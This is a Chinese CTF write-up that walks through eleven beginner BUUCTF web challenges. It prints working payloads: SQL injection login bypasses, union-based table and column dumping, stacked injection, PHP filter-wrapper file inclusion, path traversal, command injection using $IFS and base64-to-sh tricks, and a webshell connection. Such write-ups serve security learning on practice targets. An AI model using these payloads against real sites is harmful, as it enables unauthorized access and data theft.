BUUCTF 的一些签到题 内有sql 命令执行
第一题 easy sql
直接在admin那里用’’ or 1=1#
密码那也可以’’ or 1=1# 记得#要用%23
第二题 php 代码审计
打开看源代码发现提示
打开提示得到一串源码
class emmm
{
public static function checkFile(&$page)
{
//白名单列表
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//isset()判断变量是否声明is_string()判断变量是否是字符串 &&用了逻辑与两个值都为真才执行if里面的值
if (! isset($page) || !is_string($page)) {
echo "you can't see it A";
return false;
}
//检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
if (in_array($page, $whitelist)) {
return true;
}
//过滤问号的函数(如果$page的值有?则从?之前提取字符串)
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')//返回$page.?里卖弄?号出现的第一个位置
);
//第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
if (in_array($_page, $whitelist)) {
return true;
}
//url对$page解码
$_page = urldecode($page);
//第二次过滤问号的函数(如果$page的值有?则从?之前提取字符串)
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
//第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
在源码中发现了一个hint.php去看一下
得到提示
根据我们的审计,首先我们要传参file,是字符串类型,然后让函数checkfile返回为真。
hint.php?../../../../../ffffllllaaaagggg 我们可以想象他传入checkFile函数要经历 第一次白名单验证 一次?过滤后他就是hint.php 再进行一次白名单验证 返回为真 则达成条件进行包含得到flag
第三题 简单小题
在源代码中有个注释
传参cat=dog得到flag
第四题 文件包含伪协议
先查一下伪协议的使用 有点忘了
(32条消息) 【文件包含漏洞】——文件包含漏洞进阶_PHP伪协议_剑客 getshell的博客-CSDN博客
打开题目是这样的
然后就用?file=php://filter/read=convert.base64-encode/resource=./flag.php
然后就base64解密
<?php
echo "Can you find out the flag?";
//flag{8888b971-6d8f-4507-892a-eddd64932264}
第五题 强网杯随便注 经典题目了
堆叠注入
然后预处理和大小写绕过selct与prepare,set
第六题 sql注入
输入1有回显,试了下堆叠注入。
但是要用select的时候返回了nonono,说明select关键字又被过滤了,那再试一下预处理。
也不行,麻了,我是真的菜狗啊。
然后就去看别人的wp
(≧∇≦)ノ顺便偷了个葵花宝典
别人的wp:
这道题目需要我们去对后端语句进行猜测,有点矛盾的地方在于其描述的功能和实际的功能似乎并不相符,通过输入非零数字得到的回显1和输入其余字符得不到回显来判断出内部的查询语句可能存在有||,也就是select 输入的数据||内置的一个列名 from 表名,进一步进行猜测即为select post进去的数据||flag from Flag(含有数据的表名,通过堆叠注入可知),需要注意的是,此时的||起到的作用是or的作用
解法1
输入的内容为*,1
内置的sql语句为sql=”select”.sql=”select”.post[‘query’].”||flag from Flag”;
如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内容
解法2
输入的内容为1;set sql_mode=pipes_as_concat;select 1
其中set sql_mode=pipes_as_concat的作用是将||的作用由or变为拼接字符串
第七题 命令执行漏洞
命令执行漏洞 - 再简单一点点 - 博客园 (cnblogs.com)
第八题 伪协议
在源码中发现了一个文件,前去看看
抓包发现新东西
开始代码审计
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
简单,继续用伪协议
base解密
第九题 sql注入
又是sql注入,他说不让用map就不用?
好嘛没扫出来。
万能密码也行不通了,开始手动注入
order by4报错,就是说有3列
payload:-1’ union select database(),2,3;#
回显的是2,3
payload:-1’ union select 1,database(),user();#
得到数据库名字
然后就开始爆表
-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() ;#
爆字段
-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’l0ve1ysq1’ ;#
爆数据:
-1’ union select 1,2,group_concat(id,username,password) from l0ve1ysq1 ;#
得到flag
第十题 命令执行漏洞
又是ping命令
发现flag
但是发现/和空格都被过滤了,想办法绕过
额flag也被绕过了
代替空格的符号有
%20(space)、%09(tab)、$IFS$9、${IFS}$9、 {IFS}、IFS 都可以
访问index看看过滤规则,用的是正则表达式。
我们可以用变量来代替flag字段,/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
得到flag
在网上还发现了其他的方法:
1.通过执行sh命令来执行 (bash被过滤了,不然也可以执行)
/ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
注:sh是linux中运行shell的命令,bash相当于sh的升级版,sh∈bash
2.内联执行 (真正的大佬操作,给跪了)
构造 /?ip=127.0.0.1;cat$IFS$9`ls`
注:内联,就是将反引号内命令的输出作为输入执行。
第十一题 菜刀
蚁剑直接连
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。